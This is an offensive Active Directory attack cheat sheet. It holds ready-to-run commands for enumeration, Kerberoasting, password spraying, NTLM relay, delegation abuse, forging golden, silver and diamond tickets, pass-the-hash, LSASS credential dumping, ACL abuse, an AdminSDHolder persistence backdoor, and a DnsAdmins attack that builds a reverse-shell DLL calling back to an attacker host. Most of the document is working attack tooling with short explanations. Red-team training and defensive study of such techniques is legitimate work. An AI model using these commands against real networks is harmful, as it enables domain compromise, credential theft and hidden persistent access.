AD Architecture & Kerberos
What is Active Directory?
Active Directory is Microsoft's on-premises identity and access management system. Every Windows enterprise network runs it. It stores all accounts (users, computers, groups), enforces authentication via Kerberos, and delegates access to resources. Compromising AD means compromising every Windows machine in the organisation — domain controllers are the crown jewels because they hold the keys to every identity in the domain.
Kerberos Authentication Flow & Attack Points
Every AD attack ultimately targets the Kerberos ticket system. Understanding each step tells you exactly what to steal, forge, or crack.
krbtgt account hash is the master key for the entire domain. All TGTs are encrypted with it. If you have this hash you can forge tickets for any user in the domain, as any group, for any service — this is why DCSync and NTDS.dit extraction are the ultimate domain objectives.
Enumeration
Map the attack surface before touching a credential
Enumeration drives every decision in an AD engagement. You need to know: who has privileged roles, which accounts have SPNs (Kerberoasting targets), which computers have unconstrained delegation, which ACEs are exploitable, and what the shortest path to Domain Admin looks like. BloodHound answers all of this visually. PowerView gives you raw query power. Do enumeration thoroughly — rushing costs time later.
BloodHound — Attack Path Mapping
# --- SharpHound (C# collector — run on domain-joined machine)
.\SharpHound.exe -c All --zipfilename bh_output.zip
.\SharpHound.exe -c All,GPOLocalGroup --stealth # slower but quieter
.\SharpHound.exe -c DCOnly # DCs only — fast, less noise
# --- BloodHound.py (remote, no agent needed)
bloodhound-python -u user -p Password123 -d corp.local -ns DC01_IP -c All
bloodhound-python -u user --hashes :NTLM_HASH -d corp.local -ns DC01_IP -c All
# Key BloodHound queries (run in Neo4j browser)
# Shortest path to Domain Admin
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
# All users with DCSync rights
MATCH (n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN n
# Computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
# High-value paths from owned principals
MATCH p=shortestPath((u:User {owned:true})-[*1..5]->(g:Group {highvalue:true})) RETURN p
PowerView — AD Object Queries
Import-Module .\PowerView.ps1
# --- Domain / Forest info
Get-Domain | Select Name,DomainControllers,Forest
Get-DomainController | Select Name,IPAddress,OSVersion
Get-DomainTrust | Select SourceName,TargetName,TrustDirection,TrustType
Get-ForestDomain | Select Name # all domains in forest
Get-ForestTrust # inter-forest trusts
# --- Users
Get-DomainUser | Select SamAccountName,Description,PasswordLastSet,LastLogonDate
Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName # Kerberoasting targets
Get-DomainUser -UACFilter DONT_REQ_PREAUTH # AS-REP Roasting
Get-DomainUser -AdminCount 1 | Select SamAccountName # AdminSDHolder-protected
# --- Computers
Get-DomainComputer | Select Name,OSVersion,DNSHostName
Get-DomainComputer -Unconstrained | Select Name,DNSHostName # unconstrained delegation
Get-DomainComputer -TrustedToAuth | Select Name,msds-allowedtodelegateto
# --- Groups
Get-DomainGroup | Where-Object {$_.SamAccountName -match "admin"}
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainGroup -AdminCount 1 # protected groups
# --- GPOs
Get-DomainGPO | Select DisplayName,GpcFileSysPath
Get-DomainGPO -ComputerIdentity WORKSTATION01 # GPOs applying to this machine
Get-DomainGPOComputerLocalGroupMapping -ComputerName DC01 # local admin via GPO
# --- ACL enumeration (critical — most overlooked)
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReference -match "CORP\lowpriv"}
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "Write|GenericAll"}
# --- Shares / logged-on users
Find-DomainShare -CheckShareAccess # readable shares
Find-LocalAdminAccess # machines where current user is local admin
Get-LoggedOnLocal -ComputerName DC01 # who is logged onto a machine
ldapdomaindump — LDAP Enumeration (No Agent)
# Dump all LDAP objects to JSON/HTML
ldapdomaindump -u "corp.local\user" -p Password123 ldap://DC01_IP -o ./loot/
# With hash auth
ldapdomaindump -u "corp.local\user" --authentication NTLM -p :NTLM_HASH ldap://DC01_IP -o ./loot/
# Output files: domain_users.json, domain_computers.json, domain_groups.json, domain_trusts.json
netexec — Fast Network Recon
# SMB host discovery + signing check
nxc smb 192.168.1.0/24 # discover all SMB hosts
nxc smb 192.168.1.0/24 --gen-relay-list relay_targets.txt # no SMB signing
# Password spray
nxc smb DC01_IP -u users.txt -p 'Winter2026!' --no-bruteforce --continue-on-success
# Enum shares, sessions, logged-on users
nxc smb DC01_IP -u user -p Password123 --shares
nxc smb 192.168.1.0/24 -u user -p Password123 --sessions
nxc smb 192.168.1.0/24 -u user -p Password123 --loggedon-users
# Enumerate LDAP
nxc ldap DC01_IP -u user -p Password123 --users
nxc ldap DC01_IP -u user -p Password123 --groups
nxc ldap DC01_IP -u user -p Password123 --kerberoasting kerberoast.txt
nxc ldap DC01_IP -u user -p Password123 --asreproast asrep.txt
--stealth randomises collection intervals. PowerView queries are logged in AD audit logs if Object Access auditing is enabled. Prefer targeted queries over Get-DomainUser * on highly monitored environments.
Password Attacks
Kerberoasting
What is Kerberoasting?
Any authenticated domain user can request a Kerberos service ticket (TGS) for any account that has a Service Principal Name (SPN) set. That ticket is encrypted with the service account's NTLM hash. You take that encrypted blob offline and crack it — no lockout, no noise on the DC, no special privileges needed. Service accounts are often long-lived with weak passwords. This is the highest-yield credential attack in AD.
# --- Find Kerberoastable accounts
Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName,PasswordLastSet
Import-Module ActiveDirectory; Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# --- Rubeus (on domain host)
.\Rubeus.exe kerberoast /outfile:kerberoast.txt /nowrap
.\Rubeus.exe kerberoast /user:svc_sql /outfile:sql.txt /format:hashcat
.\Rubeus.exe kerberoast /rc4opsec /nowrap # only RC4 tickets (weaker encryption = easier crack)
# --- Impacket (from Linux, no agent)
python3 GetUserSPNs.py corp.local/user:Password -request -outputfile kerberoast.txt
python3 GetUserSPNs.py corp.local/user -hashes :NTLM_HASH -request -outputfile kerberoast.txt -dc-ip DC01_IP
# --- netexec
nxc ldap DC01_IP -u user -p Password --kerberoasting kerberoast.txt
# --- Crack
hashcat -a 0 -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt
AS-REP Roasting
What is AS-REP Roasting?
Normally, Kerberos pre-authentication is required — the client proves it knows the password before the KDC hands out a ticket. When pre-auth is disabled (the DONT_REQ_PREAUTH flag), anyone can request an AS-REP for that account. The KDC responds with data encrypted with the user's hash — no authentication needed. You crack the hash offline. Unlike Kerberoasting, you don't even need a domain account to perform this attack if you have a user list.
# --- Find vulnerable users
Get-DomainUser -UACFilter DONT_REQ_PREAUTH | Select SamAccountName,DistinguishedName
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# --- Rubeus (authenticated)
.\Rubeus.exe asreproast /outfile:asrep.txt /format:hashcat /nowrap
# --- Impacket (no creds needed — just a user list)
python3 GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -no-pass -outputfile asrep.txt -dc-ip DC01_IP
python3 GetNPUsers.py corp.local/user:Password -request -format hashcat -outputfile asrep.txt
# --- netexec
nxc ldap DC01_IP -u user -p Password --asreproast asrep.txt
# --- Crack
hashcat -a 0 -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5asrep asrep.txt
Password Spraying
Low-and-slow credential guessing
One password against many accounts — never the other way around. AD Smart Lockout locks accounts after 10 failed attempts per 10 minutes by default. Wait 30–45 minutes between rounds. Target seasonal passwords (Winter2026!, Company@2026), default onboarding passwords, and the company name + year pattern. Build a valid user list from enumeration or email harvesting first — you want confirmed accounts only.
# --- Kerbrute (fastest, uses Kerberos — no auth event on failed tries)
./kerbrute_linux_amd64 userenum --dc DC01_IP -d corp.local users.txt
./kerbrute_linux_amd64 passwordspray --dc DC01_IP -d corp.local users.txt 'Winter2026!'
# --- Rubeus (from Windows domain host)
.\Rubeus.exe brute /users:users.txt /password:Winter2026! /dc:DC01_IP /domain:corp.local /noticket
# --- netexec (SMB spray)
nxc smb DC01_IP -u users.txt -p 'Winter2026!' --no-bruteforce --continue-on-success
nxc smb DC01_IP -u users.txt -p 'Winter2026!' --no-bruteforce --continue-on-success --local-auth
# --- Impacket
python3 kerbrute.py -domain corp.local -users users.txt -passwords passwords.txt -outputfile spray_hits.txt -dc-ip DC01_IP
LLMNR / NBT-NS Poisoning
Passive credential capture from network mistakes
When a Windows machine fails DNS resolution (mistyped share name, unconfigured host), it falls back to LLMNR and NBT-NS broadcasts asking "does anyone know where <host> is?". Responder answers those broadcasts, impersonating the target, and the victim's machine sends an NTLMv2 challenge response — which contains a hash you can crack or relay. Completely passive, no brute-force, no lockout. Highly effective in corporate LAN environments.
# --- Responder (capture NTLMv2 hashes)
sudo responder -I eth0 -wdv
sudo responder -I eth0 -w --lm # downgrade to LM (weak, easy crack)
# --- Relay instead of cracking (when SMB signing is off)
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -i # interactive SMB session
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -e evil.exe # exec payload on relay target
sudo ntlmrelayx.py -t ldaps://DC01.corp.local --delegate-access # RBCD via LDAP relay
# --- Crack captured hashes
hashcat -a 0 -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 ntlmv2_hashes.txt
mitm6 — IPv6 DNS Takeover
Abusing IPv6 preference on Windows networks
Windows prefers IPv6 over IPv4 when both are available. mitm6 responds to DHCPv6 requests, assigning itself as the IPv6 DNS server. It then responds to DNS queries — including those for WPAD (web proxy auto-discovery) — routing NTLM authentication to an attacker-controlled relay. Even without WPAD, all periodic machine auth events (group policy refresh, etc.) get relayed. Extremely powerful against networks that have IPv6 enabled but not managed.
# Start mitm6 (poisoning) in one terminal
sudo mitm6 -d corp.local
# Start relay in another terminal (LDAP RBCD attack — most impactful)
sudo ntlmrelayx.py -6 -t ldaps://DC01.corp.local --delegate-access --add-computer-name ATTACKPC --add-computer-password 'Attack3r!'
# Result: creates machine account with RBCD on victims machine → compromise that host
# Relay to LDAP to add to Domain Admins (needs existing DA relay)
sudo ntlmrelayx.py -6 -t ldap://DC01.corp.local --escalate-user lowpriv_user
--lm sparingly — NTLMv1 capture is very loud. Always verify lockout policies before spraying.
Delegation Attacks
What is Kerberos delegation?
Delegation allows a service to authenticate to other services on behalf of a user — enabling multi-tier architectures (web server → database). Microsoft implemented three delegation types with increasing security. Each has unique attack conditions. Delegation misconfigurations are one of the most common paths to Domain Admin in real environments.
msDS-AllowedToDelegateTo). Attack: use S4U2Self to get a service ticket for any user (including admin), then S4U2Proxy to forward to the permitted service. Requires the delegating account's hash.msDS-AllowedToActOnBehalfOfOtherIdentity). If you have write access to a machine account object, you can configure RBCD pointing to your own machine account and impersonate any user to that target. No account hash needed — just AD write permission.Unconstrained Delegation — Steal TGTs from Memory
# --- Find hosts with unconstrained delegation (DCs are excluded from analysis — they always have it)
Get-DomainComputer -Unconstrained | Where-Object {$_.Name -notlike "*DC*"} | Select Name,DNSHostName
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -eq 515} -Properties TrustedForDelegation
# --- After compromising the host: monitor for incoming TGTs (run as SYSTEM)
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$ # wait for DC TGT
# --- Coerce DC to authenticate to your host (PrinterBug)
.\SpoolSample.exe DC01.corp.local WEBSERVER01.corp.local
# --- Coerce with PetitPotam (doesn't require Print Spooler)
python3 PetitPotam.py -u user -p Password WEBSERVER01.corp.local DC01.corp.local
# --- Extract TGT once it arrives
.\Rubeus.exe dump /service:krbtgt /luid:0x3e4 /nowrap
.\Rubeus.exe ptt /ticket:BASE64_TGT_HERE
# --- Now perform DCSync as Domain Controller
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
Constrained Delegation — S4U2Self + S4U2Proxy
# --- Find accounts with constrained delegation
Get-DomainUser -TrustedToAuth | Select SamAccountName,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select Name,msds-allowedtodelegateto
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo,SAMAccountName
# --- Rubeus full S4U attack (need delegating account hash)
.\Rubeus.exe asktgt /user:svc_iis /rc4:NTLM_HASH /outfile:svc_iis.kirbi /nowrap
.\Rubeus.exe s4u /ticket:svc_iis.kirbi /impersonateuser:Administrator /msdsspn:"CIFS/fileserver.corp.local" /ptt
# Variation: altservice to pivot to a different service on same host
.\Rubeus.exe s4u /ticket:svc_iis.kirbi /impersonateuser:Administrator /msdsspn:"HTTP/webserver.corp.local" /altservice:CIFS /ptt
# --- Impacket chain
python3 getST.py corp.local/svc_iis -hashes :NTLM_HASH -spn CIFS/fileserver.corp.local -impersonate Administrator
export KRB5CCNAME=Administrator@CIFS_fileserver.corp.local@CORP.LOCAL.ccache
python3 psexec.py -k -no-pass fileserver.corp.local
Resource-Based Constrained Delegation (RBCD)
When do you use RBCD?
RBCD is the go-to attack when you have write access to a computer account object — through GenericAll, GenericWrite, WriteDACL, or WriteProperty on msDS-AllowedToActOnBehalfOfOtherIdentity. You create a machine account you control (using MachineAccountQuota), configure the target to trust your machine for delegation, then use S4U to impersonate any user including Domain Admin. This attack works even without any existing elevated privileges.
# --- Check MachineAccountQuota (default: 10 — means any user can add 10 machines)
Get-DomainObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota
# --- Step 1: Create attacker-controlled machine account
Import-Module .\PowerMad.ps1
New-MachineAccount -MachineAccount FAKEMACHINE$ -Password $(ConvertTo-SecureString 'Hax0r!2026' -AsPlainText -Force)
# --- Step 2: Get SID of new machine account
$sid = (Get-DomainComputer FAKEMACHINE$ -Properties objectsid).objectsid
# --- Step 3: Set RBCD on target (requires write permission on TARGET_MACHINE)
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($sdBytes, 0)
Get-DomainComputer TARGET_MACHINE | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $sdBytes}
# --- Step 4: S4U attack — impersonate Administrator to TARGET_MACHINE
.\Rubeus.exe asktgt /user:FAKEMACHINE$ /password:Hax0r!2026 /outfile:fake.kirbi /nowrap
.\Rubeus.exe s4u /ticket:fake.kirbi /impersonateuser:Administrator /msdsspn:"CIFS/TARGET_MACHINE.corp.local" /ptt
# --- Full Impacket chain (Linux)
python3 addcomputer.py corp.local/user:Password -computer-name FAKEMACHINE$ -computer-pass Hax0r!2026 -dc-ip DC01_IP
python3 rbcd.py corp.local/user:Password -action write -delegate-from FAKEMACHINE$ -delegate-to TARGET_MACHINE$ -dc-ip DC01_IP
python3 getST.py corp.local/FAKEMACHINE$:Hax0r!2026 -spn CIFS/TARGET_MACHINE.corp.local -impersonate Administrator -dc-ip DC01_IP
export KRB5CCNAME=Administrator@CIFS_TARGET_MACHINE.corp.local@CORP.LOCAL.ccache
python3 secretsdump.py -k -no-pass TARGET_MACHINE.corp.local
Kerberos Ticket Attacks
Tickets are the currency of AD authentication
Kerberos operates entirely on tickets. Once you control the right keys (krbtgt hash for TGTs, service account hash for TGS), you can forge tickets as any user for any service without touching a domain controller again. These forged tickets bypass password resets and many detection controls — understanding all four ticket types and their detection profiles is essential for both offense and defense.
Golden Ticket — Forge Any TGT
# --- Prerequisites: krbtgt hash + domain SID
# Get krbtgt hash via DCSync
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"
python3 secretsdump.py corp.local/Administrator:Password@DC01_IP -just-dc-user krbtgt
# Get domain SID
(Get-ADDomain).DomainSID.Value
# or: whoami /user → strip last -XXXX component
# --- Forge Golden Ticket (Mimikatz)
.\Mimikatz.exe "kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:KRBTGT_HASH /id:500 /groups:512,513,518,519,520 /ptt" "exit"
# Save to file (use with /ptt or with Rubeus ptt)
.\Mimikatz.exe "kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:KRBTGT_HASH /id:500 /groups:512,518,519 /ticket:golden.kirbi" "exit"
# --- Forge Golden Ticket (Rubeus)
.\Rubeus.exe golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /rc4:KRBTGT_HASH /id:500 /groups:512,513,518,519,520 /ptt
# AES256 key (more stealthy — RC4 is flagged by ATA/Defender for Identity)
.\Rubeus.exe golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /aes256:KRBTGT_AES256 /id:500 /ptt
# --- Impacket (generate .ccache)
python3 ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXXX-XXXX-XXXX -domain corp.local -user-id 500 -groups 512,513,518,519,520 FakeAdmin
export KRB5CCNAME=FakeAdmin.ccache
python3 psexec.py -k -no-pass corp.local/FakeAdmin@DC01.corp.local
Silver Ticket — Forge a TGS for Specific Service
# --- Forge TGS for CIFS (file access)
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /target:fileserver.corp.local /service:cifs /rc4:SVC_MACHINE_HASH /ptt" "exit"
# --- HOST service — run commands via sc.exe / tasks
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /target:DC01.corp.local /service:host /rc4:DC_MACHINE_HASH /ptt" "exit"
# --- LDAP service — DCSync without DA (use silver ticket for DC's LDAP service)
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /target:DC01.corp.local /service:ldap /rc4:DC_MACHINE_HASH /ptt" "exit"
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt /domain:corp.local" "exit"
# --- HTTP service — access web apps as admin
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /target:intranet.corp.local /service:http /rc4:SVC_HASH /ptt" "exit"
# Silver Ticket with Rubeus
.\Rubeus.exe silver /user:Administrator /service:CIFS/fileserver.corp.local /rc4:SVC_HASH /domain:corp.local /sid:S-1-5-21-XXXX-XXXX-XXXX /ptt
Diamond Ticket — Evading Golden Ticket Detections
Why Diamond over Golden?
Golden Tickets have a tell: the PAC is signed only with the krbtgt key, not with the KDC service key. Microsoft Defender for Identity and similar tools detect this. Diamond Tickets request a real TGT from the KDC, then decrypt and modify the PAC (changing group memberships), and re-encrypt. The result passes all PAC validation checks because it has a legitimate KDC signature — the only way to detect it is to verify PAC contents against directory objects.
# Rubeus Diamond Ticket (requires valid credentials + krbtgt AES256 key)
.\Rubeus.exe diamond /user:lowpriv /password:Password123 /enctype:aes256 /domain:corp.local /dc:DC01.corp.local /krbkey:KRBTGT_AES256 /ticketuser:Administrator /ticketuserid:500 /groups:512,513,518,519,520 /ptt
# With existing user TGT
.\Rubeus.exe diamond /tgtdeleg /domain:corp.local /dc:DC01.corp.local /krbkey:KRBTGT_AES256 /ticketuser:Administrator /ticketuserid:500 /groups:512 /ptt
Sapphire Ticket — Stealthiest Ticket Forgery
# Impacket — decrypt victim's PAC via S4U2Self+U2U, inject into new ticket
python3 ticketer.py -request -domain corp.local -user lowpriv -password Password123 \
-nthash KRBTGT_HASH -aesKey KRBTGT_AES256 -domain-sid S-1-5-21-XXXX-XXXX-XXXX \
-user-id 500 -groups 512,513,518,519,520 Administrator
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
Pass-the-Ticket (PtT)
# --- Export all tickets from current session (Mimikatz)
.\Mimikatz.exe "sekurlsa::tickets /export" "exit" # exports .kirbi files
.\Mimikatz.exe "kerberos::list /export" "exit"
# --- Export with Rubeus
.\Rubeus.exe dump /nowrap # all tickets as base64
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap # specific LUID / service
# --- Inject ticket into current session
.\Rubeus.exe ptt /ticket:BASE64_OR_KIRBI_FILE
.\Mimikatz.exe "kerberos::ptt ticket.kirbi" "exit"
# --- Verify ticket loaded
.\Rubeus.exe klist
klist # native Windows command
# --- Use ticket
dir \\fileserver.corp.local\C$
Invoke-Command -ComputerName DC01.corp.local -ScriptBlock {hostname}
Lateral Movement
Pass-the-Hash (PtH)
NTLM hash = password equivalent
Windows NTLM authentication uses the password hash directly — not the password itself. An NTLM hash is functionally equivalent to the plaintext password for network authentication. Harvest hashes from LSASS memory on a compromised host, then use them to authenticate to any other host where that account has access. No cracking required. Works against any service using NTLM (SMB, WMI, WinRM, RDP with restricted admin mode).
# --- Impacket suite (most versatile — from Linux)
python3 psexec.py corp.local/Administrator@TARGET_IP -hashes :NTLM_HASH
python3 wmiexec.py corp.local/Administrator@TARGET_IP -hashes :NTLM_HASH
python3 smbexec.py corp.local/Administrator@TARGET_IP -hashes :NTLM_HASH
python3 atexec.py corp.local/Administrator@TARGET_IP -hashes :NTLM_HASH "whoami"
# --- netexec (bulk testing + exec)
nxc smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --local-auth # local admin
nxc smb 192.168.1.0/24 -u Administrator -H NTLM_HASH # domain account
nxc smb TARGETS_FILE -u Administrator -H NTLM_HASH -x "whoami" # exec command
nxc winrm TARGETS_FILE -u Administrator -H NTLM_HASH -x "whoami" # via WinRM
Over-Pass-the-Hash (OPtH) / Pass-the-Key
# Convert NTLM hash into a Kerberos TGT (avoids NTLM, uses Kerberos — harder to detect)
.\Mimikatz.exe "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:powershell.exe" "exit"
# Opens new PowerShell with the user's Kerberos identity — can now access Kerberos-only resources
# With AES256 key (stealthiest — no RC4 downgrade)
.\Mimikatz.exe "sekurlsa::pth /user:Administrator /domain:corp.local /aes256:AES256_KEY /run:powershell.exe" "exit"
# Rubeus (request TGT using hash, inject into session)
.\Rubeus.exe asktgt /user:Administrator /rc4:NTLM_HASH /domain:corp.local /ptt
.\Rubeus.exe asktgt /user:Administrator /aes256:AES256_KEY /domain:corp.local /ptt /opsec
# Impacket — get TGT from hash
python3 getTGT.py corp.local/Administrator -hashes :NTLM_HASH -dc-ip DC01_IP
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local
WMI Execution
# Native WMIC (noisy — uses NTLM)
wmic /node:TARGET_IP /user:corp\Administrator /password:Password process call create "powershell -enc BASE64"
# Invoke-WMIMethod (PowerShell remoting alternative — Kerberos)
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\output.txt" -ComputerName TARGET.corp.local -Credential (Get-Credential)
# Impacket wmiexec (interactive shell)
python3 wmiexec.py corp.local/Administrator:Password@TARGET_IP
python3 wmiexec.py -hashes :NTLM_HASH corp.local/Administrator@TARGET_IP
WinRM / Evil-WinRM
# Evil-WinRM — full-featured PowerShell shell over WinRM
evil-winrm -i TARGET_IP -u Administrator -p Password
evil-winrm -i TARGET_IP -u Administrator -H NTLM_HASH # Pass-the-Hash
evil-winrm -i TARGET_IP -u Administrator -p Password -S # SSL
evil-winrm -i TARGET_IP -c cert.pem -k key.pem -S # certificate auth
# Upload/download within evil-winrm
upload /path/to/tool.exe
download C:\\Windows\\Temp\\loot.txt
DCOM Lateral Movement
# DCOM - Distributed Component Object Model (port 135 + dynamic high port)
# SharpDCOM — multiple DCOM methods
.\SharpDCOM.exe -t TARGET_IP -m MMC20Application -c "powershell -enc BASE64"
.\SharpDCOM.exe -t TARGET_IP -m ShellWindows -c "notepad.exe"
# PowerShell native DCOM (MMC20.Application method — classic)
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGET_IP"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c powershell -enc BASE64", "7")
# Invoke-DCOM (PowerShell module)
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -ComputerName TARGET_IP -Method MMC20.Application -Command "powershell -enc BASE64"
Harvesting Credentials from Memory
# --- Mimikatz LSASS credential dump
.\Mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # plaintext + NTLM
.\Mimikatz.exe "privilege::debug" "sekurlsa::wdigest" "exit" # WDigest (Win 7/2008)
.\Mimikatz.exe "privilege::debug" "lsadump::sam" "exit" # local SAM hashes
# --- Dump LSASS process remotely (task scheduler method)
schtasks /create /s TARGET_IP /u Administrator /p Password /tn "lsass" /tr "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\loot\lsass.dmp full" /sc once /st 00:00
# --- Pypykatz (parse lsass.dmp on Linux)
pypykatz lsa minidump lsass.dmp
# --- Extracting from NTDS via VSS (see Section 08)
# --- Remote with netexec (SAM + LSA)
nxc smb TARGET_IP -u Administrator -p Password --sam
nxc smb TARGET_IP -u Administrator -p Password --lsa
Privilege Escalation
ACL / ACE Abuse — The Most Overlooked Path to DA
Access Control Entries are attack paths
Every AD object has a DACL (Discretionary Access Control List) containing ACEs (Access Control Entries) that define who can do what to that object. Misconfigured ACEs — especially on privileged groups, computers, and the domain object itself — are the most common privilege escalation path in mature AD environments that have patched all CVEs. BloodHound maps these automatically. Understand what each ACE means before touching it.
| ACE Right | Target | Attack | Impact |
|---|---|---|---|
| GenericAll | User | Reset password, add SPN (Kerberoast), shadow creds | Account takeover |
| GenericAll | Group | AddMember — add self or controlled account | Group membership |
| GenericAll | Computer | RBCD attack, shadow credentials | Local admin → SYSTEM |
| GenericWrite | User | Set SPN → Kerberoast; set logon script → RCE at next login | Credential + RCE |
| GenericWrite | Group | AddMember | Group membership |
| GenericWrite | Computer | Set msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD) | Local admin → SYSTEM |
| WriteDACL | Any | Add any ACE (GenericAll, DCSync) to the object | Full control of object |
| WriteOwner | Any | Take ownership → WriteDACL → GenericAll | Full control of object |
| ForceChangePassword | User | Reset password without knowing current | Account takeover |
| AllExtendedRights | User/Domain | Reset password (users) + DCSync (domain object) | DA via DCSync |
| AddMember | Group | Add any account to group | Group membership |
| Self | Group | Add self to group (no GenericWrite needed) | Group membership |
# --- Find exploitable ACEs for a controlled user
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReference -match "CORP\\lowpriv"}
# --- GenericAll on User: reset password
Set-DomainUserPassword -Identity target_user -AccountPassword $(ConvertTo-SecureString 'Hacked!123' -AsPlainText -Force)
# --- GenericAll/GenericWrite on User: add SPN → Kerberoast (Targeted Kerberoasting)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname="fake/fakeSPN"}
.\Rubeus.exe kerberoast /user:target_user /outfile:targeted.txt /format:hashcat
# --- GenericAll on Group: add member
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv_user
# --- WriteDACL on domain object: grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity lowpriv_user -Rights DCSync
# --- WriteOwner: take ownership then WriteDACL
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity lowpriv_user
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity lowpriv_user -Rights All
# --- ForceChangePassword
$newpw = ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $newpw -Credential $cred
AdminSDHolder — Persistent ACL Backdoor
AdminSDHolder is the ACL template for privileged objects
AdminSDHolder is an AD object in the System container. Every 60 minutes, the SDProp (Security Descriptor Propagator) process copies its DACL to all "AdminSDHolder-protected" objects — Domain Admins, Enterprise Admins, Schema Admins, Administrators, and members of those groups. If you add a backdoor ACE to AdminSDHolder, SDProp will propagate it to every protected group within one hour. DACL changes made directly on protected objects are overwritten — making this the most durable ACL persistence mechanism.
# --- Add GenericAll ACE to AdminSDHolder for our backdoor user
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdoor_user -Rights All -Verbose
# --- Trigger SDProp manually (don't wait 60 min — forces immediate propagation)
$str = @('ldap','///','DC01.corp.local'); [System.DirectoryServices.Protocols.LdapConnection]::new($str) | Out-Null
# After propagation: backdoor_user has GenericAll on Domain Admins, Enterprise Admins, etc.
Get-DomainObjectAcl "Domain Admins" -ResolveGUIDs | Where-Object {$_.IdentityReference -match "backdoor"}
# Now add to Domain Admins any time:
Add-DomainGroupMember -Identity "Domain Admins" -Members backdoor_user
DnsAdmins — DLL Injection as SYSTEM
# Members of DnsAdmins can load arbitrary DLL into the DNS service (runs as SYSTEM on DC)
# Step 1: Create malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f dll -o evil.dll
# Or: DLL that adds user to Domain Admins
# $code = 'net group "Domain Admins" backdoor /add /domain'
# Step 2: Host DLL (attacker SMB server)
python3 -m impacket.smbserver -smb2support share .
# Step 3: Configure DNS plugin (as DnsAdmins member)
dnscmd DC01 /config /serverlevelplugindll \\10.10.10.1\share\evil.dll
# Step 4: Restart DNS service
sc.exe \\DC01.corp.local stop dns
sc.exe \\DC01.corp.local start dns
# Cleanup (remove plugin after)
dnscmd DC01 /config /serverlevelplugindll ""
Backup Operators — Read Any File on DC
